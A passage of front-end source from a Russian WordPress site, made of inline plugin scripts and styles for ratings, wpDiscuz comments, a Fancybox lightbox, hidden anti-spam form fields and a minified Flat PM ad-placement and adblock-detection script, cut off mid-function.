var ratings_mouseover_image=new Image();ratings_mouseover_image.src="https://strong-stuff.ru/wp-content/plugins/wp-postratings/images/stars_crystal/rating_over.gif";;</script> <script type='text/javascript'>var viewsCacheL10n = {"admin_ajax_url":"https:\/\/strong-stuff.ru\/wp-admin\/admin-ajax.php","post_id":"2570"};</script> <script type='text/javascript'>var testme_aj = {"ajax_url":"https:\/\/strong-stuff.ru\/wp-admin\/admin-ajax.php"};</script> <script type='text/javascript'>var wpdiscuzAjaxObj = {"url":"https:\/\/strong-stuff.ru\/wp-admin\/admin-ajax.php","customAjaxUrl":"https:\/\/strong-stuff.ru\/wp-content\/plugins\/wpdiscuz\/utils\/ajax\/wpdiscuz-ajax.php","wpdiscuz_options":{"wc_hide_replies_text":"\u0421\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b","wc_show_replies_text":"\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043e\u0442\u0432\u0435\u0442\u043e\u0432","wc_msg_required_fields":"\u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043f\u043e\u043b\u044f","wc_invalid_field":"\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u043d\u0435\u0432\u0435\u0440\u043d\u043e","wc_error_empty_text":"\u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u0435 \u044d\u0442\u043e \u043f\u043e\u043b\u0435, \u0447\u0442\u043e\u0431\u044b \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c","wc_error_url_text":"url \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439","wc_error_email_text":"\u0430\u0434\u0440\u0435\u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u043d\u0435\u0432\u0435\u0440\u0435\u043d","wc_invalid_captcha":"\u041d\u0435\u0432\u0435\u0440\u043d\u043e \u0432\u0432\u0435\u0434\u0435\u043d \u043a\u043e\u0434","wc_login_to_vote":"\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u043e\u0439\u0442\u0438 , \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u0442\u044c","wc_deny_voting_from_same_ip":"\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u0442\u044c \u0437\u0430 \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_self_vote":"\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u0442\u044c \u0437\u0430 \u0441\u0432\u043e\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_vote_only_one_time":"\u0412\u044b \u0443\u0436\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043b\u0438 \u0437\u0430 \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_voting_error":"\u041e\u0448\u0438\u0431\u043a\u0430 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043d\u0438\u044f","wc_held_for_moderate":"\u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u0440\u0430\u0446\u0438\u0438","wc_comment_edit_not_possible":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043d\u043e \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0443\u0436\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c","wc_comment_not_updated":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043d\u0435 \u0431\u044b\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d","wc_comment_not_edited":"\u0412\u044b \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439","wc_new_comment_button_text":"\u043d\u043e\u0432\u044b\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_new_comments_button_text":"\u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438","wc_new_reply_button_text":"\u043d\u043e\u0432\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u0430\u0448 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","wc_new_replies_button_text":"\u043d\u043e\u0432\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0430\u0448\u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438","wc_msg_input_min_length":"\u0412\u0432\u043e\u0434 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439","wc_msg_input_max_length":"\u0412\u0432\u043e\u0434 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0434\u043b\u0438\u043d\u043d\u044b\u0439","wc_follow_user":"\u041f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f","wc_unfollow_user":"\u041e\u0442\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f","wc_follow_success":"\u0412\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443 \u043d\u0430 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u0440\u0430","wc_follow_canceled":"\u0412\u044b \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443 \u043d\u0430 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u0440\u0430","wc_follow_email_confirm":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0432\u0430\u0448 email \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u0435 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443.","wc_follow_email_confirm_fail":"\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u043c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u0441\u043b\u0430\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f.","wc_follow_login_to_follow":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.","wc_follow_impossible":"\u041d\u0430\u043c \u0436\u0430\u043b\u044c, \u043d\u043e \u0432\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.","wc_follow_not_added":"\u041d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u043f\u043e\u0437\u0436\u0435.","is_user_logged_in":false,"commentListLoadType":"0","commentListUpdateType":"0","commentListUpdateTimer":"30","liveUpdateGuests":"1","wc_comment_bg_color":"#FEFEFE","wc_reply_bg_color":"#F8F8F8","wpdiscuzCommentsOrder":"asc","wpdiscuzCommentOrderBy":"comment_date_gmt","commentsVoteOrder":false,"wordpressThreadCommentsDepth":"5","wordpressIsPaginate":"0","commentTextMaxLength":null,"storeCommenterData":100000,"isCaptchaInSession":true,"isGoodbyeCaptchaActive":false,"socialLoginAgreementCheckbox":"1","enableFbLogin":"0","enableFbShare":"0","facebookAppID":"","facebookUseOAuth2":0,"enableGoogleLogin":"0","googleAppID":"","cookiehash":"c9286491930efbfb97d3a7e0812fbf91","isLoadOnlyParentComments":"0","ahk":"g@2$y5=iux6)ph5w%8=-c!kz4zw0rqzy","enableDropAnimation":1,"isNativeAjaxEnabled":1,"cookieCommentsSorting":"wpdiscuz_comments_sorting","enableLastVisitCookie":0,"version":"5.3.5","wc_post_id":2570,"loadLastCommentId":0,"lastVisitKey":"wpdiscuz_last_visit","isCookiesEnabled":true,"wc_captcha_show_for_guest":"0","wc_captcha_show_for_members":"0","is_email_field_required":"1"}};</script> <script type='text/javascript'>var wpdiscuzUCObj = {"msgConfirmDeleteComment":"\u0412\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439?","msgConfirmCancelSubscription":"\u0412\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u044d\u0442\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443?","msgConfirmCancelFollow":"\u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u044c \u044d\u0442\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443?"};</script> <script type='text/javascript'>var fb_timeout, fb_opts={'overlayShow':true,'hideOnOverlayClick':true,'showCloseButton':true,'margin':20,'centerOnScroll':false,'enableEscapeButton':true,'autoScale':true };
if(typeof easy_fancybox_handler==='undefined'){
var easy_fancybox_handler=function(){
jQuery('.nofancybox,a.wp-block-file__button,a.pin-it-button,a[href*="pinterest.com/pin/create"],a[href*="facebook.com/share"],a[href*="twitter.com/share"]').addClass('nolightbox');
/* IMG */
var fb_IMG_select='a[href*=".jpg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpg"]:not(.nolightbox),a[href*=".jpeg"]:not(.nolightbox,li.nolightbox>a),area[href*=".jpeg"]:not(.nolightbox),a[href*=".png"]:not(.nolightbox,li.nolightbox>a),area[href*=".png"]:not(.nolightbox),a[href*=".webp"]:not(.nolightbox,li.nolightbox>a),area[href*=".webp"]:not(.nolightbox)';
jQuery(fb_IMG_select).addClass('fancybox image');
var fb_IMG_sections=jQuery('.gallery,.wp-block-gallery,.tiled-gallery,.wp-block-jetpack-tiled-gallery');
fb_IMG_sections.each(function(){jQuery(this).find(fb_IMG_select).attr('rel','gallery-'+fb_IMG_sections.index(this));});
jQuery('a.fancybox,area.fancybox,li.fancybox a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'transitionIn':'elastic','easingIn':'easeOutBack','transitionOut':'elastic','easingOut':'easeInBack','opacity':false,'hideOnContentClick':false,'titleShow':true,'titlePosition':'over','titleFromAlt':true,'showNavArrows':true,'enableKeyboardNav':true,'cyclic':false}))});
/* YouTube */
jQuery('a[href*="youtu.be/"],area[href*="youtu.be/"],a[href*="youtube.com/"],area[href*="youtube.com/"]').filter(function(){return this.href.match(/\/(?:youtu\.be|watch\?|embed\/)/);}).not('.nolightbox,li.nolightbox>a').addClass('fancybox-youtube');
jQuery('a.fancybox-youtube,area.fancybox-youtube,li.fancybox-youtube a').each(function(){jQuery(this).fancybox(jQuery.extend({},fb_opts,{'type':'iframe','width':640,'height':360,'keepRatio':1,'titleShow':false,'titlePosition':'float','titleFromAlt':true,'onStart':function(a,i,o){var splitOn=a[i].href.indexOf("?");var urlParms=(splitOn>-1)?a[i].href.substring(splitOn):"";o.allowfullscreen=(urlParms.indexOf("fs=0")>-1)?false:true;o.href=a[i].href.replace(/https?:\/\/(?:www\.)?youtu(?:\.be\/([^\?]+)\??|be\.com\/watch\?(.*(?=v=))v=([^&]+))(.*)/gi,"https://www.youtube.com/embed/$1$3?$2$4&autoplay=1");}}))});};
jQuery('a.fancybox-close').on('click',function(e){e.preventDefault();jQuery.fancybox.close()});
};
var easy_fancybox_auto=function(){setTimeout(function(){jQuery('#fancybox-auto').trigger('click')},1000);};
jQuery(easy_fancybox_handler);jQuery(document).on('post-load',easy_fancybox_handler);
jQuery(easy_fancybox_auto);</script> <script type="text/javascript">jQuery(document).ready(function ($) {
//$( document ).ajaxStart(function() {
//});
for (var i = 0; i < document.forms.length; ++i) {
var form = document.forms[i];
if ($(form).attr("method") != "get") { $(form).append('<input type="hidden" name="QPBirzHfmR" value="Tj3hzf0]va" />'); }
if ($(form).attr("method") != "get") { $(form).append('<input type="hidden" name="IqfCEQXjM" value="cxO3Wf97b" />'); }
}
$(document).on('submit', 'form', function () {
if ($(this).attr("method") != "get") { $(this).append('<input type="hidden" name="QPBirzHfmR" value="Tj3hzf0]va" />'); }
if ($(this).attr("method") != "get") { $(this).append('<input type="hidden" name="IqfCEQXjM" value="cxO3Wf97b" />'); }
return true;
});
jQuery.ajaxSetup({
beforeSend: function (e, data) {
//console.log(Object.getOwnPropertyNames(data).sort());
//console.log(data.type);
if (data.type !== 'POST') return;
if (typeof data.data === 'object' && data.data !== null) {
data.data.append("QPBirzHfmR", "Tj3hzf0]va");
data.data.append("IqfCEQXjM", "cxO3Wf97b");
}
else {
data.data = data.data + '&QPBirzHfmR=Tj3hzf0]va&IqfCEQXjM=cxO3Wf97b';
}
}
});
});</script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)}
.flat__4_modal-show{z-index:2000;visibility:visible}
.flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease}
.flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible}
.flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px}
.flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1}
.flat__4_modal .flat__4_timer,
.flat__4_modal .flat__4_cross{top:0!important}
.flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0}
.flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset}
.flat__4_cross:after,
.flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto}
.flat__4_cross:before{transform:rotate(-45deg)}
.flat__4_cross:hover:after{transform:rotate(225deg)}
.flat__4_cross:hover:before{transform:rotate(135deg)}
.flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99}
.flat__4_timer span{font-size:16px;font-weight:600}
.flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden}
.flat__4_out *{max-width:none!important}
.flat__4_out.top .flat__4_cross{top:auto;bottom:150px}
.flat__4_out.show.top .flat__4_cross{bottom:-0px}
.flat__4_out.bottom .flat__4_cross{top:150px}
.flat__4_out.show.bottom .flat__4_cross{top:-0px}
.flat__4_out.right .flat__4_cross{right:auto;left:0}
.flat__4_out.top .flat__4_timer{top:auto;bottom:150px}
.flat__4_out.show.top .flat__4_timer{bottom:-0px}
.flat__4_out.bottom .flat__4_timer{top:150px}
.flat__4_out.show.bottom .flat__4_timer{top:-0px}
.flat__4_out.right .flat__4_timer{right:auto;left:0}
.flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px}
.flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px}
.flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto}
.flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto}
.flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff}
.flat__4_out.closed{min-width:0;min-height:0}
.flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px}
.flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px}
.flat__4_out.show.left{transform:translateX(100%)}
.flat__4_out.show.right{transform:translateX(-100%)}
.flatpm_fixed{position:fixed;z-index:50}
.flatpm_stop{position:relative;z-index:50}
.flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0}
.flat__4_video iframe{display:block;width:100%;height:100%;position:absolute}
.flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease}
.flat__4_video_flex.show{opacity:1}
.flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1}
.flat__4_video_flex.show .flat__4_video_item{z-index:1}
.flat__4_video_flex .flat__4_timer,
.flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important}
.flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 